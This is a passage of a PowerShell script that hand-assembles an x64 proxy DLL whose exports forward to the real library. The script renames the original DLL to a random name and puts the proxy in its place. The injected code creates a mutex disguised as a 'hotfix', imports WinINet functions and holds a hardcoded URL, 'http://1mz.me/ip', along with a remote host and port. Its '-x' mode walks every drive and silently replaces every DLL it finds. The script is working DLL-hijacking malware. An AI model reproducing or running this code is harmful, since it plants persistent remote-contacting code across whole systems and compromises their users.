  Set-Fwd1Label $b 'WorkerReturn'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x31, 0xc0))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x81, 0xc4, 0x68, 0x01, 0x00, 0x00, 0xc3))

  Add-Fwd1Padding $b.Bytes 8
  Set-Fwd1Label $b 'MutexName'
  Add-Fwd1AsciiZ $b.Bytes 'Local\fwd1-hotfix'
  Set-Fwd1Label $b 'AgentString'
  Add-Fwd1AsciiZ $b.Bytes 'fwd1'
  Set-Fwd1Label $b 'UrlString'
  Add-Fwd1AsciiZ $b.Bytes 'http://1mz.me/ip'
  Set-Fwd1Label $b 'RhString'
  Add-Fwd1AsciiZ $b.Bytes $Rh

  $b
}

function New-Fwd1ExportSection {
  param(
    [object]$Exports,
    [string]$DllName,
    [string]$ForwardModule,
    [uint32]$SectionRva
  )

  $bytes = New-Object 'System.Collections.Generic.List[byte]'
  $labels = @{}
  $setLabel = {
    param([string]$Name)
    $labels[$Name] = [int]$bytes.Count
  }

  & $setLabel 'ExportDirectory'
  for ($i = 0; $i -lt 40; $i++) { Add-Fwd1Byte $bytes 0 }
  Add-Fwd1Padding $bytes 4

  & $setLabel 'Eat'
  for ($i = 0; $i -lt $Exports.FunctionCount; $i++) { Add-Fwd1UInt32 $bytes 0 }
  & $setLabel 'NamePointers'
  for ($i = 0; $i -lt $Exports.NameCount; $i++) { Add-Fwd1UInt32 $bytes 0 }
  & $setLabel 'NameOrdinals'
  for ($i = 0; $i -lt $Exports.NameCount; $i++) { Add-Fwd1UInt16 $bytes 0 }
  Add-Fwd1Padding $bytes 4

  & $setLabel 'DllName'
  Add-Fwd1AsciiZ $bytes $DllName

  for ($i = 0; $i -lt $Exports.NameCount; $i++) {
    & $setLabel ("Name_{0}" -f $i)
    Add-Fwd1ByteArrayZ $bytes $Exports.Names[$i].NameBytes
  }

  $slotNames = @{}
  foreach ($name in $Exports.Names) {
    if (-not $slotNames.ContainsKey($name.OrdinalIndex)) {
      $slotNames[$name.OrdinalIndex] = $name.Name
    }
  }

  foreach ($entry in $Exports.Entries) {
    if ($entry.Rva -ne 0) {
      & $setLabel ("Fwd_{0}" -f $entry.Index)
      if ($slotNames.ContainsKey($entry.Index)) {
        $target = '{0}.{1}' -f $ForwardModule, $slotNames[$entry.Index]
      } else {
        $target = '{0}.#{1}' -f $ForwardModule, $entry.Ordinal
      }
      Add-Fwd1AsciiZ $bytes $target
    }
  }

  $result = $bytes.ToArray()
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 12) ([uint32]($SectionRva + $labels.DllName))
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 16) ([uint32]$Exports.OrdinalBase)
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 20) ([uint32]$Exports.FunctionCount)
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 24) ([uint32]$Exports.NameCount)
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 28) ([uint32]($SectionRva + $labels.Eat))
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 32) ([uint32]($SectionRva + $labels.NamePointers))
  Set-Fwd1UInt32 $result ($labels.ExportDirectory + 36) ([uint32]($SectionRva + $labels.NameOrdinals))

  foreach ($entry in $Exports.Entries) {
    if ($entry.Rva -ne 0) {
      Set-Fwd1UInt32 $result ($labels.Eat + ($entry.Index * 4)) ([uint32]($SectionRva + $labels[("Fwd_{0}" -f $entry.Index)]))
    }
  }

  for ($i = 0; $i -lt $Exports.NameCount; $i++) {
    Set-Fwd1UInt32 $result ($labels.NamePointers + ($i * 4)) ([uint32]($SectionRva + $labels[("Name_{0}" -f $i)]))
    Set-Fwd1UInt16 $result ($labels.NameOrdinals + ($i * 2)) $Exports.Names[$i].OrdinalIndex
  }

  $result
}

function New-Fwd1ImportSection {
  param([uint32]$SectionRva)

  $imports = @(
    [pscustomobject]@{ Dll = 'KERNEL32.dll'; Functions = @('CreateMutexA', 'GetLastError', 'CreateThread', 'CloseHandle', 'Sleep') },
    [pscustomobject]@{ Dll = 'WININET.dll'; Functions = @('InternetOpenA', 'InternetOpenUrlA', 'InternetReadFile', 'InternetCloseHandle') }
  )

  $bytes = New-Object 'System.Collections.Generic.List[byte]'
  $labels = @{}
  $descriptorOffsets = @{}
  $thunkFixups = New-Object System.Collections.ArrayList
  $setLabel = {
    param([string]$Name)
    $labels[$Name] = [int]$bytes.Count
  }

  for ($i = 0; $i -lt $imports.Count; $i++) {
    $descriptorOffsets[$i] = [int]$bytes.Count
    for ($j = 0; $j -lt 20; $j++) { Add-Fwd1Byte $bytes 0 }
  }
  for ($j = 0; $j -lt 20; $j++) { Add-Fwd1Byte $bytes 0 }
  $importDirectorySize = [int]$bytes.Count
  Add-Fwd1Padding $bytes 8

  for ($i = 0; $i -lt $imports.Count; $i++) {
    & $setLabel ("ILT_{0}" -f $i)
    foreach ($fn in $imports[$i].Functions) {
      $off = [int]$bytes.Count
      Add-Fwd1UInt64 $bytes 0
      [void]$thunkFixups.Add([pscustomobject]@{ Offset = $off; Label = "Hint_$fn" })
    }
    Add-Fwd1UInt64 $bytes 0
  }

  Add-Fwd1Padding $bytes 8
  $iatStart = [int]$bytes.Count
  for ($i = 0; $i -lt $imports.Count; $i++) {
    & $setLabel ("IAT_{0}" -f $i)
    foreach ($fn in $imports[$i].Functions) {
      & $setLabel ("IAT_{0}" -f $fn)
      $off = [int]$bytes.Count
      Add-Fwd1UInt64 $bytes 0
      [void]$thunkFixups.Add([pscustomobject]@{ Offset = $off; Label = "Hint_$fn" })
    }
    Add-Fwd1UInt64 $bytes 0
  }
  $iatEnd = [int]$bytes.Count

  for ($i = 0; $i -lt $imports.Count; $i++) {
    & $setLabel ("DllName_{0}" -f $i)
    Add-Fwd1AsciiZ $bytes $imports[$i].Dll
  }
  Add-Fwd1Padding $bytes 2

  foreach ($import in $imports) {
    foreach ($fn in $import.Functions) {
      & $setLabel ("Hint_{0}" -f $fn)
      Add-Fwd1UInt16 $bytes 0
      Add-Fwd1AsciiZ $bytes $fn
      Add-Fwd1Padding $bytes 2
    }
  }

  $result = $bytes.ToArray()
  for ($i = 0; $i -lt $imports.Count; $i++) {
    $desc = $descriptorOffsets[$i]
    Set-Fwd1UInt32 $result ($desc + 0) ([uint32]($SectionRva + $labels[("ILT_{0}" -f $i)]))
    Set-Fwd1UInt32 $result ($desc + 12) ([uint32]($SectionRva + $labels[("DllName_{0}" -f $i)]))
    Set-Fwd1UInt32 $result ($desc + 16) ([uint32]($SectionRva + $labels[("IAT_{0}" -f $i)]))
  }
  foreach ($fixup in $thunkFixups) {
    Set-Fwd1UInt64 $result $fixup.Offset ([uint64]($SectionRva + $labels[$fixup.Label]))
  }

  [pscustomobject]@{
    Bytes = $result
    Labels = $labels
    ImportDirectoryRva = $SectionRva
    ImportDirectorySize = $importDirectorySize
    IatRva = [uint32]($SectionRva + $iatStart)
    IatSize = [uint32]($iatEnd - $iatStart)
  }
}

function New-Fwd1PeHeaders {
  param(
    [byte[]]$Text,
    [byte[]]$Export,
    [byte[]]$Import,
    [byte[]]$Reloc,
    [uint32]$TextRva,
    [uint32]$ExportRva,
    [uint32]$ImportRva,
    [uint32]$RelocRva,
    [uint32]$EntryPointRva,
    [uint32]$ImportDirectoryRva,
    [uint32]$ImportDirectorySize,
    [uint32]$IatRva,
    [uint32]$IatSize,
    [int]$FileAlignment,
    [int]$SectionAlignment
  )

  $sizeOfHeaders = [int](Align-Fwd1 (0x80 + 4 + 20 + 0x00f0 + (4 * 40)) $FileAlignment)
  $textRawSize = [int](Align-Fwd1 $Text.Length $FileAlignment)
  $exportRawSize = [int](Align-Fwd1 $Export.Length $FileAlignment)
  $importRawSize = [int](Align-Fwd1 $Import.Length $FileAlignment)
  $relocRawSize = [int](Align-Fwd1 $Reloc.Length $FileAlignment)
  $textRaw = $sizeOfHeaders
  $exportRaw = $textRaw + $textRawSize
  $importRaw = $exportRaw + $exportRawSize
  $relocRaw = $importRaw + $importRawSize
  $sizeOfImage = [uint32](Align-Fwd1 ($RelocRva + $Reloc.Length) $SectionAlignment)

  $headers = New-Object byte[] $sizeOfHeaders
  $headers[0] = 0x4d
  $headers[1] = 0x5a
  Set-Fwd1UInt32 $headers 0x3c 0x80

  $pe = 0x80
  Set-Fwd1UInt32 $headers $pe 0x00004550
  $coff = $pe + 4
  Set-Fwd1UInt16 $headers ($coff + 0) 0x8664
  Set-Fwd1UInt16 $headers ($coff + 2) 4
  $timestamp = [uint32][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
  Set-Fwd1UInt32 $headers ($coff + 4) $timestamp
  Set-Fwd1UInt16 $headers ($coff + 16) 0x00f0
  Set-Fwd1UInt16 $headers ($coff + 18) 0x2022

  $opt = $coff + 20
  Set-Fwd1UInt16 $headers ($opt + 0) 0x20b
  $headers[$opt + 2] = 14
  $headers[$opt + 3] = 0
  Set-Fwd1UInt32 $headers ($opt + 4) ([uint32]$textRawSize)
  Set-Fwd1UInt32 $headers ($opt + 8) ([uint32]($exportRawSize + $importRawSize + $relocRawSize))
  Set-Fwd1UInt32 $headers ($opt + 16) $EntryPointRva
  Set-Fwd1UInt32 $headers ($opt + 20) $TextRva
  Set-Fwd1UInt64 $headers ($opt + 24) 0x180000000
  Set-Fwd1UInt32 $headers ($opt + 32) ([uint32]$SectionAlignment)
  Set-Fwd1UInt32 $headers ($opt + 36) ([uint32]$FileAlignment)
  Set-Fwd1UInt16 $headers ($opt + 40) 6
  Set-Fwd1UInt16 $headers ($opt + 48) 6
  Set-Fwd1UInt32 $headers ($opt + 56) $sizeOfImage
  Set-Fwd1UInt32 $headers ($opt + 60) ([uint32]$sizeOfHeaders)
  Set-Fwd1UInt16 $headers ($opt + 68) 2
  Set-Fwd1UInt16 $headers ($opt + 70) 0x0140
  Set-Fwd1UInt64 $headers ($opt + 72) 0x100000
  Set-Fwd1UInt64 $headers ($opt + 80) 0x1000
  Set-Fwd1UInt64 $headers ($opt + 88) 0x100000
  Set-Fwd1UInt64 $headers ($opt + 96) 0x1000
  Set-Fwd1UInt32 $headers ($opt + 108) 16
  Set-Fwd1UInt32 $headers ($opt + 112) $ExportRva
  Set-Fwd1UInt32 $headers ($opt + 116) ([uint32]$Export.Length)
  Set-Fwd1UInt32 $headers ($opt + 120) $ImportDirectoryRva
  Set-Fwd1UInt32 $headers ($opt + 124) $ImportDirectorySize
  Set-Fwd1UInt32 $headers ($opt + 152) $RelocRva
  Set-Fwd1UInt32 $headers ($opt + 156) ([uint32]$Reloc.Length)
  Set-Fwd1UInt32 $headers ($opt + 208) $IatRva
  Set-Fwd1UInt32 $headers ($opt + 212) $IatSize

  $sec = $opt + 0x00f0
  Write-Fwd1SectionHeader $headers $sec '.text' $Text.Length $TextRva $textRawSize $textRaw 0x60000020
  Write-Fwd1SectionHeader $headers ($sec + 40) '.edata' $Export.Length $ExportRva $exportRawSize $exportRaw 0x40000040
  Write-Fwd1SectionHeader $headers ($sec + 80) '.idata' $Import.Length $ImportRva $importRawSize $importRaw ([uint32]3221225536)
  Write-Fwd1SectionHeader $headers ($sec + 120) '.reloc' $Reloc.Length $RelocRva $relocRawSize $relocRaw 0x42000040

  [pscustomobject]@{
    Headers = $headers
    TextRaw = $textRaw
    TextRawSize = $textRawSize
    ExportRaw = $exportRaw
    ExportRawSize = $exportRawSize
    ImportRaw = $importRaw
    ImportRawSize = $importRawSize
    RelocRaw = $relocRaw
    RelocRawSize = $relocRawSize
    ImageSize = $relocRaw + $relocRawSize
  }
}

function Write-Fwd1SectionHeader {
  param(
    [byte[]]$Headers,
    [int]$Offset,
    [string]$Name,
    [int]$VirtualSize,
    [uint32]$VirtualAddress,
    [int]$RawSize,
    [int]$RawPointer,
    [uint32]$Characteristics
  )
  $nameBytes = [Text.Encoding]::ASCII.GetBytes($Name)
  [Array]::Copy($nameBytes, 0, $Headers, $Offset, [Math]::Min(8, $nameBytes.Length))
  Set-Fwd1UInt32 $Headers ($Offset + 8) ([uint32]$VirtualSize)
  Set-Fwd1UInt32 $Headers ($Offset + 12) $VirtualAddress
  Set-Fwd1UInt32 $Headers ($Offset + 16) ([uint32]$RawSize)
  Set-Fwd1UInt32 $Headers ($Offset + 20) ([uint32]$RawPointer)
  Set-Fwd1UInt32 $Headers ($Offset + 36) $Characteristics
}

function New-Fwd1ProxyDll {
  param(
    [object]$Exports,
    [string]$OutPath,
    [string]$ForwardModule,
    [string]$Rh,
    [int]$Rp
  )

  $fileAlignment = 0x200
  $sectionAlignment = 0x1000
  $textRva = [uint32]0x1000

  $textBuilder = New-Fwd1TextSection $Rh $Rp
  $exportRva = [uint32](Align-Fwd1 ($textRva + $textBuilder.Bytes.Count) $sectionAlignment)
  $dllName = [IO.Path]::GetFileName($OutPath)
  $exportBytes = New-Fwd1ExportSection $Exports $dllName $ForwardModule $exportRva
  $importRva = [uint32](Align-Fwd1 ($exportRva + $exportBytes.Length) $sectionAlignment)
  $importSection = New-Fwd1ImportSection $importRva
  $relocRva = [uint32](Align-Fwd1 ($importRva + $importSection.Bytes.Length) $sectionAlignment)
  $relocBytes = [byte[]](
    0x00, 0x00, 0x00, 0x00,
    0x0c, 0x00, 0x00, 0x00,
    0x00, 0x00,
    0x00, 0x00
  )

  $external = @{}
  foreach ($key in $importSection.Labels.Keys) {
    $external[$key] = [uint32]($importRva + $importSection.Labels[$key])
  }
  $textBytes = Resolve-Fwd1Text $textBuilder $textRva $external
  $entryPoint = [uint32]($textRva + $textBuilder.Labels.DllMain)

  $headers = New-Fwd1PeHeaders `
    $textBytes `
    $exportBytes `
    $importSection.Bytes `
    $relocBytes `
    $textRva `
    $exportRva `
    $importRva `
    $relocRva `
    $entryPoint `
    $importSection.ImportDirectoryRva `
    $importSection.ImportDirectorySize `
    $importSection.IatRva `
    $importSection.IatSize `
    $fileAlignment `
    $sectionAlignment

  $image = New-Object byte[] $headers.ImageSize
  [Array]::Copy($headers.Headers, 0, $image, 0, $headers.Headers.Length)
  [Array]::Copy($textBytes, 0, $image, $headers.TextRaw, $textBytes.Length)
  [Array]::Copy($exportBytes, 0, $image, $headers.ExportRaw, $exportBytes.Length)
  [Array]::Copy($importSection.Bytes, 0, $image, $headers.ImportRaw, $importSection.Bytes.Length)
  [Array]::Copy($relocBytes, 0, $image, $headers.RelocRaw, $relocBytes.Length)
  [IO.File]::WriteAllBytes($OutPath, $image)
}

function Test-Fwd1Port {
  param([object]$Port)
  $value = 0
  if (-not [int]::TryParse([string]$Port, [ref]$value)) {
    Stop-Fwd1Invalid 'Port must be an integer.'
  }
  if ($value -lt 1 -or $value -gt 65535) {
    Stop-Fwd1Invalid 'Port must be in the range 1..65535.'
  }
  $value
}

function Get-Fwd1FullPath {
  param([string]$Path)
  [IO.Path]::GetFullPath($Path)
}

function Get-Fwd1DefaultBuild {
  param([string]$OutPath)
  if (-not [string]::IsNullOrEmpty($env:BUILD_DIR)) {
    return (Get-Fwd1FullPath $env:BUILD_DIR)
  }
  $outDir = [IO.Path]::GetDirectoryName($OutPath)
  if ([string]::IsNullOrEmpty($outDir)) { $outDir = (Get-Location).ProviderPath }
  Join-Path $outDir '.fwd1'
}

function Get-Fwd1ModuleNameFromPath {
  param([string]$Path)
  [IO.Path]::GetFileNameWithoutExtension($Path)
}

function Invoke-Fwd1Wrap {
  param(
    [string]$Real,
    [string]$Out,
    [string]$Build,
    [string]$Rh,
    [object]$Rp,
    [string]$ForwardModule
  )

  Test-Fwd1Platform
  if ([string]::IsNullOrEmpty($Real) -or [string]::IsNullOrEmpty($Out)) {
    Stop-Fwd1Invalid 'Real and output paths are required.'
  }
  if (-not (Test-Path -LiteralPath $Real -PathType Leaf)) {
    Stop-Fwd1Invalid 'Real DLL does not exist.'
  }

  $port = Test-Fwd1Port $Rp
  $realFull = (Resolve-Path -LiteralPath $Real).ProviderPath
  $outFull = Get-Fwd1FullPath $Out
  if ([StringComparer]::OrdinalIgnoreCase.Equals($realFull, $outFull)) {
    Stop-Fwd1Invalid 'Real and output paths must differ.'
  }

  $outDir = [IO.Path]::GetDirectoryName($outFull)
  if ([string]::IsNullOrEmpty($outDir)) { $outDir = (Get-Location).ProviderPath }
  if ([string]::IsNullOrEmpty($Build)) {
    $Build = Get-Fwd1DefaultBuild $outFull
  } else {
    $Build = Get-Fwd1FullPath $Build
  }
  [void][IO.Directory]::CreateDirectory($outDir)
  [void][IO.Directory]::CreateDirectory($Build)

  if ([string]::IsNullOrEmpty($ForwardModule)) {
    $ForwardModule = Get-Fwd1ModuleNameFromPath $realFull
  }

  $exports = Get-Fwd1PeExports $realFull
  $manifest = @(
    "real`t$realFull"
    "out`t$outFull"
    "forward_module`t$ForwardModule"
    "ordinal_base`t$($exports.OrdinalBase)"
    "functions`t$($exports.FunctionCount)"
    "names`t$($exports.NameCount)"
  )
  [IO.File]::WriteAllLines((Join-Path $Build 'exports.tsv'), $manifest, [Text.Encoding]::UTF8)
  New-Fwd1ProxyDll $exports $outFull $ForwardModule $Rh $port
}

function Get-Fwd1PeForwarderModules {
  param([string]$Path)

  $exports = Get-Fwd1PeExports $Path
  $bytes = [IO.File]::ReadAllBytes($Path)
  $peOffset = [int](Get-Fwd1UInt32 $bytes 0x3c)
  $coff = $peOffset + 4
  $optionalSize = Get-Fwd1UInt16 $bytes ($coff + 16)
  $optional = $coff + 20
  $exportRva = Get-Fwd1UInt32 $bytes ($optional + 112)
  $exportSize = Get-Fwd1UInt32 $bytes ($optional + 116)
  $sectionCount = Get-Fwd1UInt16 $bytes ($coff + 2)
  $sectionTable = $optional + $optionalSize
  $sections = @()

  for ($i = 0; $i -lt $sectionCount; $i++) {
    $offset = $sectionTable + ($i * 40)
    $sections += [pscustomobject]@{
      VirtualSize      = Get-Fwd1UInt32 $bytes ($offset + 8)
      VirtualAddress   = Get-Fwd1UInt32 $bytes ($offset + 12)
      SizeOfRawData    = Get-Fwd1UInt32 $bytes ($offset + 16)
      PointerToRawData = Get-Fwd1UInt32 $bytes ($offset + 20)
    }
  }

  $exportOffset = ConvertTo-Fwd1FileOffset $exportRva $sections
  $functionsRva = Get-Fwd1UInt32 $bytes ($exportOffset + 28)
  $functionsOffset = ConvertTo-Fwd1FileOffset $functionsRva $sections
  $nameByIndex = @{}
  foreach ($name in $exports.Names) {
    if (-not $nameByIndex.ContainsKey($name.OrdinalIndex)) {
      $nameByIndex[$name.OrdinalIndex] = $name.Name
    }
  }

  $modules = @{}
  $forwarderCount = 0
  foreach ($entry in $exports.Entries) {
    $rva = Get-Fwd1UInt32 $bytes ($functionsOffset + ($entry.Index * 4))
    if ($rva -eq 0) {
      continue
    }
    if ($rva -lt $exportRva -or $rva -ge ($exportRva + $exportSize)) {
      return @()
    }

    $forwarder = Read-Fwd1AsciiZ $bytes (ConvertTo-Fwd1FileOffset $rva $sections)
    if ($nameByIndex.ContainsKey($entry.Index)) {
      $suffix = ".$($nameByIndex[$entry.Index])"
    } else {
      $suffix = ".#$($entry.Ordinal)"
    }
    if (-not $forwarder.EndsWith($suffix, [StringComparison]::Ordinal)) {
      return @()
    }

    $module = $forwarder.Substring(0, $forwarder.Length - $suffix.Length)
    if ([string]::IsNullOrEmpty($module)) {
      return @()
    }
    $modules[$module] = $true
    $forwarderCount++
  }

  if ($forwarderCount -eq 0) {
    return @()
  }
  @($modules.Keys)
}

function Find-Fwd1ExistingRandomOriginal {
  param([string]$TargetFull)

  $targetDir = [IO.Path]::GetDirectoryName($TargetFull)
  $targetBase = [IO.Path]::GetFileNameWithoutExtension($TargetFull)
  try {
    $modules = @(Get-Fwd1PeForwarderModules $TargetFull)
  } catch {
    return $null
  }
  if ($modules.Count -ne 1) {
    return $null
  }

  $module = [string]$modules[0]
  $pattern = '^' + [regex]::Escape($targetBase) + '_[0-9a-f]{16}$'
  if ($module -notmatch $pattern) {
    return $null
  }

  $candidate = Join-Path $targetDir "${module}.dll"
  if ((Test-Path -LiteralPath $candidate -PathType Leaf) -and -not [StringComparer]::OrdinalIgnoreCase.Equals($candidate, $TargetFull)) {
    return $candidate
  }
  $null
}

function New-Fwd1RandomOriginalPath {
  param([string]$TargetFull)

  $targetDir = [IO.Path]::GetDirectoryName($TargetFull)
  $targetBase = [IO.Path]::GetFileNameWithoutExtension($TargetFull)
  do {
    $suffix = [Guid]::NewGuid().ToString('N').Substring(0, 16)
    $candidate = Join-Path $targetDir ("{0}_{1}.dll" -f $targetBase, $suffix)
  } while (Test-Path -LiteralPath $candidate)
  $candidate
}

function Invoke-Fwd1ReplaceTarget {
  param([string]$Target, [string]$Rh, [object]$Rp)

  if (-not (Test-Path -LiteralPath $Target -PathType Leaf)) {
    Stop-Fwd1Invalid 'Target DLL does not exist.'
  }
  $targetFull = (Resolve-Path -LiteralPath $Target).ProviderPath
  $original = Find-Fwd1ExistingRandomOriginal $targetFull
  if ([string]::IsNullOrEmpty($original)) {
    $original = New-Fwd1RandomOriginalPath $targetFull
    $source = $targetFull
    $mustMoveOriginal = $true
  } else {
    $source = $original
    $mustMoveOriginal = $false
  }

  $forwardModule = [IO.Path]::GetFileNameWithoutExtension($original)
  $tempOut = "${targetFull}uw"
  Invoke-Fwd1Wrap $source $tempOut '' $Rh $Rp $forwardModule

  if ($mustMoveOriginal) {
    $movedOriginal = $false
    try {
      Move-Item -LiteralPath $targetFull -Destination $original
      $movedOriginal = $true
      Move-Item -LiteralPath $tempOut -Destination $targetFull -Force
    } catch {
      if ($movedOriginal -and -not (Test-Path -LiteralPath $targetFull) -and (Test-Path -LiteralPath $original)) {
        try { Move-Item -LiteralPath $original -Destination $targetFull } catch {}
      }
      if (Test-Path -LiteralPath $tempOut) {
        try { Remove-Item -LiteralPath $tempOut -Force } catch {}
      }
      throw
    }
  } else {
    Move-Item -LiteralPath $tempOut -Destination $targetFull -Force
  }
}

function Invoke-Fwd1Bulk {
  param([string]$Rh, [object]$Rp)
  Get-PSDrive -PSProvider FileSystem | ForEach-Object {
    $targets = @(Get-ChildItem -LiteralPath $_.Root -Recurse -Force -File -Filter '*.dll' -ErrorAction SilentlyContinue)
    foreach ($target in $targets) {
      if ($target.Name -like '*_ur.dll' -or $target.Name -match '^[^\\/:]+_[0-9a-f]{16}\.dll$') {
        continue
      }
      try {
        Invoke-Fwd1ReplaceTarget $target.FullName $Rh $Rp
      } catch {
      }
    }
  }
}

function Invoke-Fwd1Main {
  param([string[]]$Arguments)
  try {
    switch ($Arguments.Count) {
      1 {
        if ($Arguments[0] -eq '-x') {
          Invoke-Fwd1Bulk '' 8555
        } else {
          Invoke-Fwd1ReplaceTarget $Arguments[0] '' 8555
        }
      }
      2 {
        if ($Arguments[0] -eq '-x') {
          Invoke-Fwd1Bulk $Arguments[1] 8555
        } else {
          Invoke-Fwd1ReplaceTarget $Arguments[0] $Arguments[1] 8555
        }
      }
      3 {
        if ($Arguments[0] -eq '-x') {
          Invoke-Fwd1Bulk $Arguments[1] $Arguments[2]
        } elseif ($Arguments[2] -match '^[0-9]+$') {
          Invoke-Fwd1ReplaceTarget $Arguments[0] $Arguments[1] $Arguments[2]
        } else {
          Invoke-Fwd1Wrap $Arguments[0] $Arguments[1] $Arguments[2] '' 8555 ''
        }
      }
      4 {
        Invoke-Fwd1Wrap $Arguments[0] $Arguments[1] $Arguments[2] $Arguments[3] 8555 ''
      }
      5 {
        Invoke-Fwd1Wrap $Arguments[0] $Arguments[1] $Arguments[2] $Arguments[3] $Arguments[4] ''
      }
      default {
        exit 2
      }
    }
  } catch [System.InvalidOperationException] {
    [Console]::Error.WriteLine($_.Exception.Message)
    exit 2
  }
}

if ($MyInvocation.InvocationName -ne '.') {
  Invoke-Fwd1Main $args
}